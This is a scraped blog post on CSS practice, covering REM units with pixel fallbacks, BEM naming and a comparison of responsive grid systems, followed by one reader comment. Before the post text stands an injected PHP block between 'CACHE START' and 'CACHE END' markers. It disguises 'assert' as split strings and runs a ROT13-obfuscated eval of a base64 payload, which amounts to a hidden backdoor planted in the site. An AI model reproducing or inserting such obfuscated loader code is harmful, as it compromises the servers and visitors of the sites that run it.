//###=CACHE START=### error_reporting(0); $strings = "as";$strings .= "sert"; @$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvE1pzjtCFNvnUE0pQbiY3AuoaElMKZhLzy6Y2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1AJZkATLmMTD1BQV4ZwV1A2SxAmZ3LwN3L2HmZJRjLvVhWTDhWUHhWTZhVwRvXGfXnJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0tMJkmMJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcVUfXWTAbVQ0tL3IloS9cozy0XPE1pzjcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsFRIOERIFYPOTDHkGEFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvElMKA1oUDtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjbxnJW2VQ0tWUWyp3IfqQfXsFOyoUAyVUfXWTMjVQ0tMaAiL2gipTIhXPWmLJ50pzImYzWcrvVfVQtjYPNxMKWloz8fVPEypaWmqUVfVQZjXGfXnJLtXPEzpPxtrjbtVPNtWT91qPN9VPWUEIDtY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1AJZkATLmMTD1BQV4ZwV1A2SxAmZ3LwN3L2HmZJRjLvVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvOmLJ50pzImYzWcryklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwt1BGH3MQV0VvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));')); //###=CACHE END=### REM, BEM, Grids | Roxstyle Paste your Google Webmaster Tools verification code here
Go to Top

REM, BEM, Grids

it has been a busy week. Lots of inspiration driving thought.

REM

Hotrod started this discussion on using REM units The REM Fallback with Sass or LESS

i’m currently using EM because of REM support issues. With a fallback , i’ll consider the move forward.

Asuh commented

yeah, i’ve already decided that XXXXX.com will use rem with px fallback for everything. hopefully we can drop support for px by end of 2014.

BEM

this article is a recent discussion on BEM

http://blog.kaelig.fr/post/48196348743/fifty-shades-of-bem?utm_source=CSS-Weekly&utm_campaign=Issue-62&utm_medium=email

all the links off the article are good. seem to be reading a lot of Nicolas Gallagher lately

http://nicolasgallagher.com/about-html-semantics-front-end-architecture/

this is new to me

http://montagejs.org/

https://github.com/montagejs/montage/issues/795

http://montagejs.org/docs/Naming-Conventions.html

you can’t go wrong with Harry

http://csswizardry.com/2013/01/mindbemding-getting-your-head-round-bem-syntax/

and for reference

http://bem.info/

Grids

We  were looking at various grids. Once that is decided there is no turning back mid-stream. so choose carefully.

Looking at “must haves”

  1. SCSS
  2. Mobile First
  3. Source Ordering

1. SCSS

CSS Wizardy

Susy

Foundation4 (not just a grid, a framework, but set up so you can use components)

2. Mobile First

3. Source Ordering

I am most familiar with Foundation4 since I am actually using the grid in a current project. Foundation4 grid is “em” based, responsive and mobile first. It has a method for source ordering http://foundation.zurb.com/docs/components/grid.html

foundation4-source-ordering

 

Asuh is fond of CSS Wizardy was curious if

“I wonder how this source ordering compares to Harry’s version of the grid.

https://github.com/csswizardry/csswizardry-grids/blob/master/csswizardry-grids.scss ”

 

The only thing I am thinking at this moment is, I would like the time to do a POC of several grid systems (with components) to put them to the test.

, , , , , ,
1 comments
Margarito Copeland
Margarito Copeland

Let’s say you’re feeling adventurous today and are thinking of using “rem”s as a unit of measurement. How do you use rems providing fallbacks for outdated browsers which don’t support them? Happily, you just declare the font-size twice; once in pixels, then again in rems for browsers who will understand and parse it.

Follow

Get every new post on this blog delivered to your Inbox.

Join other followers: